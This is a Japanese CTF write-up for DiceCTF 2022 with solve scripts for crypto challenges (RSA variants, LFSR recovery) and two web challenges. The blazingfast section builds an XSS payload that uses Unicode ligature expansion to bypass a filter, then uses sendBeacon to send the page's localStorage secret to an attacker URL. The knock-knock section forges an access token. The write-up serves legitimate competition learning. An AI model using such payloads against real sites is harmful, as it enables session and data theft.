DiceCTF 2022 Writeup

Mon Feb 07 2022

    2/5-7 に開催していた DiceCTF 2022 にソロで参加しました。結果は 34th/1127 でした。

    Crypto

    commitment-issues

    16 solves

    scheme.py
    from random import randrange
    from Crypto.Util.number import getPrime, inverse, bytes_to_long, GCD
    
    flag = b'dice{?????????????????????????}'
    n = 5
    
    def get_prime(n, b):
    	p = getPrime(b)
    	while GCD(p - 1, n) != 1:
    		p = getPrime(b)
    	return p
    
    p = get_prime(n, 1024)
    q = get_prime(n, 1024)
    N = p*q
    phi = (p - 1)*(q - 1)
    
    e = 0xd4088c345ced64cbbf8444321ef2af8b
    d = inverse(e, phi)
    
    def sign(message):
    	m = bytes_to_long(message)
    	return pow(m, d, N)
    
    def commit(s, key, n):
    	return (s + key) % N, pow(key, n, N)
    
    def reveal(c1, c2, key, n):
    	assert pow(key, n, N) == c2
    	return (c1 - key) % N
    
    r = randrange(1, N)
    s = sign(flag)
    c1, c2 = commit(s, r, n)
    
    print(f'N = {hex(N)}')
    print(f'c1 = {hex(c1)}')
    print(f'c2 = {hex(c2)}')

    RSA のように N,dN, d のようなパラメータを生成し s=mdmodNs = m^d \mod N に対して、 c1=s+k,c2=k5modNc_1 = s + k, c_2 = k^5 \mod N が与えられます。 mm がフラグです。

    s,ks, k の2変数はどちらも大きな値なので特にやれることはなさそうです。 mm が小さいことを利用したいため m,km, k の2変数で連立方程式を立てることを考えます。 RSA と同様 m=se=(c1k)emodNm = s^e = (c_1 - k)^e \mod N で計算できるのですが、 ee が大きな数なので愚直にはできません。そこで k5c2k^5 - c_2 での余りを考えて計算すると mmkk の4次式で表せます。 これで2つの多項式 f(k,m)=k5c2,g(k,m)=i=04cikimf(k, m) = k^5 - c_2, g(k, m) = \sum_{i=0}^4 c_ik^i - m がともに0となるような k,mk, m を求める問題に変わりました。このとき Sylvester matrix の行列式は0になるはずで、 kk を削除すると mm の5次式が求まります。フラグの文字列長は31文字で248bit程度しかないため、 Coppersmith で十分に求まります。

    solve.py
    from Crypto.Util.number import long_to_bytes
    
    
    N = 0xBA8CB3257C0C83EDF4F56F5B7E139D3D6AC8ADF71618B5F16A02D61B63426C2C275CE631A0927B2725C6CC7BDBE30CD8A8494BC7C7F6601BCEE5D005B86016E79919E22DA4C431CEC16BE1EE72C056723FBBEC1543C70BFF8042630C5A9C23F390E2221BED075BE6A6AC71AD89A3905F6C706B4FB6605C08F154FF8B8E28445A7BE24CB184CB0F648DB5C70DC3581419B165414395AE4282285C04D6A00A0CE8C06A678181C3A3C37B426824A5A5528EE532BDD90F1F28B7EC65E6658CB463E867EB5280BDA80CBDB066CBDB4019A6A2305A03FD29825158CE32487651D9BFA675F2A6B31B7D05E7BD74D0F366CBFB0EB711A57E56E6DB6D6F1969D52BF1B27B
    c1 = 0x75240FCC256F1E2FC347F75BBA11A271514DD6C4E58814E1CB20913195DB3BD0440C2CA47A72EFEE41B0F9A2674F6F46A335FD7E54BA8CD1625DAEAAAA45CC9550C566F6F302B7C4C3A4694C0F5BB05CD461B5CA9017F2EB0E5F60FB0C65E0A67F3A1674D74990FD594DE692951D4EED32EAC543F193B70777B14E86CF8FA1927FE27535E727613F9E4CD00ACB8FAB336894CAA43AD40A99B222236AFC219397620CA766CEF2FE47D53B07E302410063EAE3D0BF0A9D67793237281E0BFDD48255B58B2C1F8674A21754CF62FAB0BA56557FA276241CE99140473483F3E5772FCB75B206B3E7DFB756005CEC2C19A3CB7FA17A4D17F5EDD10A8673607047A0D1
    c2 = 0xDB8F645B98F71B93F248442CFC871F9410BE7EFEE5CFF548F2626D12A81EE58C1A65096A042DB31A051904D7746A56147CC02958480F3B5D5234B738A1FB01DC8BF1DFFAD7F045CAC803FA44F51CBF8ABC74A17EE3D0B9ED59C844A23274345C16BA56D43F17D16D303BB1541EE1C15B9C984708A4A002D10188CCC5829940DD7F76107760550FAC5C8AB532FF9F034F4FC6AAB5ECC15D5512A84288D6FBE4B2D58AB6E326500C046580420D0A1B474DECA052EBD93AAA2EF972ACEBA7E6FA75B3234463A68DB78FFF85C3A1673881DCB7452390A538DFA92E7FF61F57EDF48662991B8DD251C0474B59C6F73D4A23FE9191AC8E52C8C409CF4902EEAA71714
    e = 0xd4088c345ced64cbbf8444321ef2af8b
    
    PRk.<k> = PolynomialRing(Zmod(N))
    I = PRk.ideal(k ** 5 - c2)
    PRI = PRk.quotient_ring(I)
    res = PRI(c1 - k) ** e
    PRkm.<k, m> = PolynomialRing(Zmod(N))
    f = k ** 5 - c2
    # もっとスマートな方法を知りたい
    g = PRkm(str(res).replace("kbar", "k")) - m
    poly = f.sylvester_matrix(g, k).det()
    PRm.<m> = PolynomialRing(Zmod(N))
    poly = PRm(poly)
    poly = poly.monic()
    print(long_to_bytes(int(poly.small_roots(epsilon=0.05)[0])))

    dice{wh4t!!-wh0_g4ve_u-thE-k3y}

    解いた後にまとめてみるととてもシンプルな感じがしますが、どん詰まった問題の1つです。 Sylvester matrix に詳しくないのでなかなか思いつけなかったです。これはいわゆる resultant を求めているのに相当している…? ちなみにこれは CTF 中に行っていた脱出ゲームの帰りの電車で approximate GCD について調べていたら思いつきました。息抜き大事。

    correlated

    17 solves

    correlated.py
    #!/usr/local/bin/python
    
    import secrets
    
    class LFSR:
        def __init__(self, key, taps):
            self._s = key
            self._t = taps            
    
        def _sum(self, L):
            s = 0
            for x in L:
                s ^= x
            return s
    
        def _clock(self):
            b = self._s[0]
            self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
            return b
    
        def bit(self):
            return self._clock()
    
    taps = [45, 40, 39, 36, 35, 34, 33, 32, 30, 28, 27, 23, 22, 21, 19, 17, 16, 15, 14, 13, 9, 7, 3, 0]
    n = 48
    m = 20000
    prob = 0.80
    delta = 1048576
    
    with open("flag.txt", "r") as f:
        flag = f.read()
    
    if __name__ == "__main__":
        print("I heard that fast correlation attacks don't work if your LFSR has more than 10 taps.")
        print("You have 60 seconds to recover the key.")
    
        key = secrets.randbits(n)
        key_bits = [(key >> i)&1 for i in range(n)]
        
        lfsr = LFSR(key_bits, taps)
        stream = [lfsr.bit() for _ in range(m)]
    
        noise = [secrets.randbelow(delta) > prob * delta for i in stream]
        stream = [i ^ j for i,j in zip(noise, stream)]
    
        print("Here are {} bits of the stream with {}% accuracy".format(m, 100 * prob))
        print(int("".join(map(str, stream)), 2))
    
        seed = int(input("what is my key?"))
        if seed == key:
            print(flag)
    
    

    LFSR から生成された20000個の bit が与えられます。ただしそのうちの20%はbitが反転しています。

    LFSR の状態は48bitなので20000個のうち48個適当にピックアップしてきたものがすべて反転していなかったものだとすると、 LFSR の状態を復元することができます。0.8482.2×1050.8^{48} \approx 2.2\times10^{-5} 程度なので、例えば10000回ランダムピックアップを試せば正解を引ける確率の期待値は22%となります。数万回は余裕で回せるだろうという直感があったのでこの方針でやったらフラグが得られました。

    solve.py
    import time
    
    from pwn import remote
    
    
    taps = [45, 40, 39, 36, 35, 34, 33, 32, 30, 28, 27, 23, 22, 21, 19, 17, 16, 15, 14, 13, 9, 7, 3, 0]
    n = 48
    m = 20000
    prob = 0.80
    delta = 1048576
    
    trans = matrix(GF(2), n, n)
    for i in range(n-1):
        trans[i, i+1] = 1
    for t in taps:
        trans[n-1, t] = 1
    
    outputs = matrix(GF(2), m, n)
    tmp = trans ** 0
    for i in range(m):
        outputs[i] = tmp[0]
        tmp *= trans
    
    
    def bits_to_int(bits: list[int]) -> int:
        tmp = 0
        for b in bits[::-1]:
            tmp *= 2
            tmp += b
        return tmp
    
    
    io = remote("mc.ax", 31683)
    io.recvuntil(b"accuracy\n")
    out_int = int(io.recvline().strip().decode())
    stream_noisy = list(map(int, f"{out_int:020000b}"))
    
    i = 0
    L = 100
    now = time.time()
    end = False
    while True:
        if time.time() - now > 60:
            print("not end")
            break
        i += 1
        idx_list = random.sample(range(m), k=n)
        tmp_outputs = outputs[idx_list, :]
        tmp_stream_noisy = vector(GF(2), [stream_noisy[idx] for idx in idx_list])
        try:
            res = tmp_outputs.solve_right(tmp_stream_noisy)
        except ValueError:
            continue
        tmp_lfsr = LFSR([int(r) for r in res], taps)
        tmp_stream_rec = [tmp_lfsr.bit() for _ in range(L)]
        cnt = Counter(vector(GF(2), tmp_stream_rec) - vector(GF(2), stream_noisy[:L]))
        if cnt[0] > 0.75 * L:
            end = True
            break
    
    if end:
        io.sendlineafter(b"key?", str(bits_to_int(res.change_ring(ZZ))).encode())
        print(io.recvline())
    else:
        io.close()

    dice{low-flavor-solar-radiation-efec606520fba4c}

    この問題が今回の CTF で一番楽に解けましたが、意外と解かれていない…最終日に開放されたのでみんなスルーしていたんですかね。

    rejected

    44 solves

    rejected.py
    #!/usr/local/bin/python
    
    import secrets
    
    class LFSR:
        def __init__(self, key, taps):
            self._s = key
            self._t = taps            
    
        def _sum(self, L):
            s = 0
            for x in L:
                s ^= x
            return s
    
        def _clock(self):
            b = self._s[0]
            self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
            return b
    
        def bit(self):
            return self._clock()
    
    class RNG:
        def __init__(self, lfsr, N, nbits):
            self.lfsr = lfsr
            self.N = N
            self.nbits = nbits
            
            if not (pow(2, 27) < N < pow(2, 31)):
                raise ValueError("modulus is too big or small")
            
            K = pow(2, nbits) // N
            self.cutoff = K * N
    
        def get_random_nbit_integer(self):
            res = 0
            for i in range(self.nbits):
                res += self.lfsr.bit() << i
            return res
        
        def get_random_integer_modulo_N(self):
            count = 1
            while True:
                x = self.get_random_nbit_integer()
                if x < self.cutoff:
                    return x % self.N, count
                count += 1
    
    taps = [60, 58, 54, 52, 48, 47, 45, 43, 38, 36, 32, 28, 22, 21, 13, 9, 8, 5, 2, 0]
    n = 64
    
    with open("flag.txt", "r") as f:
        flag = f.read()
    
    if __name__ == "__main__":
        print("Welcome to the unbiased random number factory!")
        N = int(input("What modulus would you like to use? Choose between 2^27 and 2^31: "))
    
        key = secrets.randbits(n)
        key_bits = [(key >> i)&1 for i in range(n)]
        
        lfsr = LFSR(key_bits, taps)
        rng = RNG(lfsr, N, 32)
        
        for _ in range(1024):
            c = input("Enter your command (R,F): ")
            if c.startswith("R"):
                x,t = rng.get_random_integer_modulo_N()
                print("creating this random number took {} attempts".format(t))
            elif c.startswith("F"):
                seed = int(input("what was my seed?"))
                if seed == key:
                    print(flag)
                exit(0)
            else:
                print("unsupported command")

    LFSR で生成した32bitがある rng.cutoff より大きかった場合、乱数生成をし直します。我々が得られるのはこの乱数生成が何回行われたかという情報だけです。

    modulus NN をこちらから指定できるので、どのような値が都合いいかを確かめてみます。試しに N=227+1N = 2^{27} + 1 とすると、 rng.cutoff0b11111000000000000000000000011111 となります。もし乱数生成やり直しが起きた場合はこの値より大きな値が生成されたということになるのですが、これはすなわち32bitのうち最後の5bitが1だったことを意味します。これを利用し1で確定した回数が64回となるまで乱数生成を行えば LFSR の状態を復元することができます。

    solve.py
    import re
    
    from pwn import remote
    
    
    trans = matrix(GF(2), 64, 64)
    for i in range(63):
        trans[i, i+1] = 1
    for t in taps:
        trans[63, t] = 1
    
    outputs = matrix(GF(2), 64 * 1024, 64)
    tmp = trans ** 0
    for i in range(64 * 1024):
        outputs[i] = tmp[0]
        tmp *= trans
    
    
    io = remote("mc.ax", 31669)
    io.sendlineafter(b"2^31: ", str(N).encode())
    
    M = 70
    res = matrix(GF(2), M, 64)
    idx = 0
    i = 0
    while True:
        io.sendlineafter(b"(R,F): ", b"R")
        ret = io.recvline().strip().decode()
        attempt = int(re.findall(r"creating this random number took (.*) attempts", ret)[0])
        if attempt > 1:
            for _ in range(attempt - 1):
                for j in range(27, 32):
                    if idx >= M:
                        break
                    res[idx] = outputs[32 * i + j]
                    print(i)
                    idx += 1
                i += 1
        if idx >= M:
            break
        i += 1
    
    key_bits = res.solve_right(vector(GF(2), [1] * M)).change_ring(ZZ)
    key = bits_to_int(key_bits)
    io.sendlineafter(b"(R,F): ", b"F")
    io.sendlineafter(b"seed?", str(key).encode())
    print(io.recvline())

    dice{so-many-numbers-got-rejected-on-valentines-day-1cc16ff5b20d6be1fbd65de0d234608c}

    baby-rsa

    162 solves

    generate.py
    from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
    
    def getAnnoyingPrime(nbits, e):
    	while True:
    		p = getPrime(nbits)
    		if (p-1) % e**2 == 0:
    			return p
    
    nbits = 128
    e = 17
    
    p = getAnnoyingPrime(nbits, e)
    q = getAnnoyingPrime(nbits, e)
    
    flag = b"dice{???????????????????????}"
    
    N = p * q
    cipher = pow(bytes_to_long(flag), e, N)
    
    print(f"N = {N}")
    print(f"e = {e}")
    print(f"cipher = {cipher}")

    見た目は普通の RSA ですが、 NN が小さいこと、使われる素数が e2e^2 の倍数であることが特徴です。 NN は小さいので簡単に素因数分解できます。

    似たような問題として Hack.lu CTF 2020 の問題 があります (リンクは自分の writeup)。ただしこのときは p1=0mode,p10mode2p - 1 = 0 \mod e, p - 1 \ne 0 \mod e^2 だったため、今回の問題には直接適用することができません。

    以前の問題では d=e1modϕd = e^{-1} \mod \phi の代わりに d=e1modϕ/ed = e^{-1} \mod \phi/e とし、 kkke=1modNk^e = 1 \mod N を満たす整数として cdkimodNc^d k^i\mod N (0i<e0 \le i < e) が解空間を占めるため、これらからフラグになるものを探すといった解き方ができました。 今回の問題でもそのアナロジーとして、 d=e1modlcm(p1,q1)/e2d = e^{-1} \mod \mathrm{lcm}(p-1, q-1)/e^2 とし、 k1,k2(k1k2)k_1, k_2 (k_1 \ne k_2)k1e2=k2e2=1modNk_1^{e^2} = k_2^{e^2} = 1 \mod N を満たす整数として、 cdk1ik2jmodNc^d k_1^i k_2^j \mod N (0i,j<e20 \le i, j < e^2) が解空間を占めるのではないかと考えました。この方針で上手くいきました、ヨシ。

    solve.py
    from Crypto.Util.number import long_to_bytes
    
    
    N = 57996511214023134147551927572747727074259762800050285360155793732008227782157
    e = 17
    cipher = 19441066986971115501070184268860318480501957407683654861466353590162062492971
    
    p = 172036442175296373253148927105725488217
    q = 337117592532677714973555912658569668821
    assert p * q == N
    phi_ = lcm(p - 1, q - 1) / e^2
    d_ = int(pow(e, -1, phi_))
    k1 = pow(2, phi_, N)
    k2 = pow(3, phi_, N)
    assert k1**(e**2) == k2**(e**2) == 1
    
    for i in range(e^2):
        for j in range(e^2):
            dec = long_to_bytes(int(pow(cipher, d_, N) * pow(k1, i, N) * pow(k2, j, N)))
            if b"dice" in dec:
                print(dec)

    dice{cado-and-sage-say-hello}

    結果としてはそれで上手くいったし、直観的にも正しそうなのですが、厳密な証明はまだしていません。数学弱者なので…

    Web

    blazingfast

    75 solves

    index.html
    <!DOCTYPE html>
    <html>
    <head>
    	<meta charset="utf-8">
    	<meta name="viewport" content="width=device-width, initial-scale=1">
    	<title>blazingfast</title>
    	<style>
    		* {
    			font-family: monospace;
    		}
    
    		body {
    			max-width: 700px;
    			width: 100%;
    			margin: auto;
    		}
    
    		code, pre {
    			background-color: whitesmoke;
    			padding: 2px;
    		}
    	</style>
    </head>
    <body>
    <h1>blazingfast</h1>
    <hr>
    <code>blazingfast</code> is a blazing fast MoCkInG CaSe converter written in WASM!
    <br><br>
    
    Try it here:<br><br>
    <textarea id="demo" rows="15" cols="50"></textarea><br><br>
    <button id="demo-submit">Mock me!</button>
    <hr>
    <pre><code id="result">The MoCkInG CaSe text will be here!</code></pre>
    </body>
    
    <script>
    let blazingfast = null;
    
    function mock(str) {
    	blazingfast.init(str.length);
    
    	if (str.length >= 1000) return 'Too long!';
    
    	for (let c of str.toUpperCase()) {
    		if (c.charCodeAt(0) > 128) return 'Nice try.';
    		blazingfast.write(c.charCodeAt(0));
    	}
    
    	if (blazingfast.mock() == 1) {
    		return 'No XSS for you!';
    	} else {
    		let mocking = '', buf = blazingfast.read();
    
    		while(buf != 0) {
    			mocking += String.fromCharCode(buf);
    			buf = blazingfast.read();
    		}
    
    		return mocking;
    	}
    }
    
    function demo(str) {
    	document.getElementById('result').innerHTML = mock(str);
    }
    
    WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {	
    	blazingfast = instance.exports;
    
    	document.getElementById('demo-submit').onclick = () => {
    		demo(document.getElementById('demo').value);
    	}
    
    	let query = new URLSearchParams(window.location.search).get('demo');
    
    	if (query) {
    		document.getElementById('demo').value = query;
    		demo(query);
    	}
    })
    </script>
    </html>
    blazingfast.c
    int length, ptr = 0;
    char buf[1000];
    
    void init(int size) {
    	length = size;
    	ptr = 0;
    }
    
    char read() {
    	return buf[ptr++];
    }
    
    void write(char c) {
    	buf[ptr++] = c;
    }
    
    int mock() {
    	for (int i = 0; i < length; i ++) {
    		if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
    			buf[i] += 32;
    		}
    
    		if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
    			return 1;
    		}
    	}
    
    	ptr = 0;
    
    	return 0;
    }

    mock 関数の処理を追うと、入力 str について、

    • str.length だけのメモリを用意
    • str.toUpperCase() を1文字ずつメモリに書き込む
    • メモリを str.length 文字調べて XSS に使いそうな文字 (< など) があればエラー
    • なければメモリを null となるまで1文字ずつ走査し、それらを表示

    ということをしています。こうしてみると文字列を走査する範囲の条件が微妙に異なっています。この条件の違いをうまく使えないでしょうか。

    ここで前回の SECCON の bcrypt の問題を思い出します。この問題の肝は という文字が長さ1なのに対し upper case では FFI と3文字になることでした。確認してみると javascript でも同様のことが起きるようです。 なので、 ffiffi...ffiffi<script>alert(1)</script> のような文字列を入力すると、メモリには FFIFFI...FFIFFI<script>alert(1)</script> と書き込まれますが、文字チェックは の数程度しか行われないことになり、 <script> タグを埋め込むことができます。

    これで終わりかと思いきや、今回の問題では入力がすべて upper case に変換されるので、まともに javascript を書くことができません。そこで &#65; という文字が A と変換されることを利用します。この表記を使えば特に文字が変換されることもありません。 javascript からこの表記に変換するコードを書き、 admin にその URL をふませることでフラグが手に入りました。

    solve.py
    import string
    
    
    pad = "%EF%AC%83"
    base_url = "https://blazingfast.mc.ax/?demo="
    
    script = f"navigator.sendBeacon(`{my_url}?flag=`+localStorage.getItem(`flag`))"
    script_escaped = "".join([f"&#{ord(c)};" if c in string.ascii_lowercase else c for c in script])
    img = f"<img src=x onerror=\"{script_escaped}\">"
    payload = base_url + pad * 300 + img
    payload.replace("&", "%26").replace("#", "%23").replace("+", "%2B")

    dice{1_dont_know_how_to_write_wasm_pwn_s0rry}

    knock-knock

    356 solves

    index.js
    const crypto = require('crypto');
    
    class Database {
      constructor() {
        this.notes = [];
        this.secret = `secret-${crypto.randomUUID}`;
      }
    
      createNote({ data }) {
        const id = this.notes.length;
        this.notes.push(data);
        return {
          id,
          token: this.generateToken(id),
        };
      }
    
      getNote({ id, token }) {
        if (token !== this.generateToken(id)) return { error: 'invalid token' };
        if (id >= this.notes.length) return { error: 'note not found' };
        return { data: this.notes[id] };
      }
    
      generateToken(id) {
        return crypto
          .createHmac('sha256', this.secret)
          .update(id.toString())
          .digest('hex');
      }
    }
    
    const db = new Database();
    db.createNote({ data: process.env.FLAG });
    
    const express = require('express');
    const app = express();
    
    app.use(express.urlencoded({ extended: false }));
    app.use(express.static('public'));
    
    app.post('/create', (req, res) => {
      const data = req.body.data ?? 'no data provided.';
      const { id, token } = db.createNote({ data: data.toString() });
      res.redirect(`/note?id=${id}&token=${token}`);
    });
    
    app.get('/note', (req, res) => {
      const { id, token } = req.query;
      const note = db.getNote({
        id: parseInt(id ?? '-1'),
        token: (token ?? '').toString(),
      });
      if (note.error) {
        res.send(note.error);
      } else {
        res.send(note.data);
      }
    });
    
    app.listen(3000, () => {
      console.log('listening on port 3000');
    });

    Database というクラスのインスタンス中にフラグが格納されています。これを見るためには正しいトークンを知る必要があります。 しかしコードをよくよく見てみると、トークン生成用の key が secret-${crypto.randomUUID} と生成されているのですが、 crypto.randomUUID は callable です。これはすなわち crypto.randomUUID を str に変換されたものが入っているということになるのでこの key は実は既知となっています。これを用いて id=0 のトークンを生成してアクセスすればフラグが入手できました。

    dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

    Rev

    71 solves

    WIP

    flagle

    136 solves

    WIP

    Pwn

    interview-opportunity

    299 solves

    WIP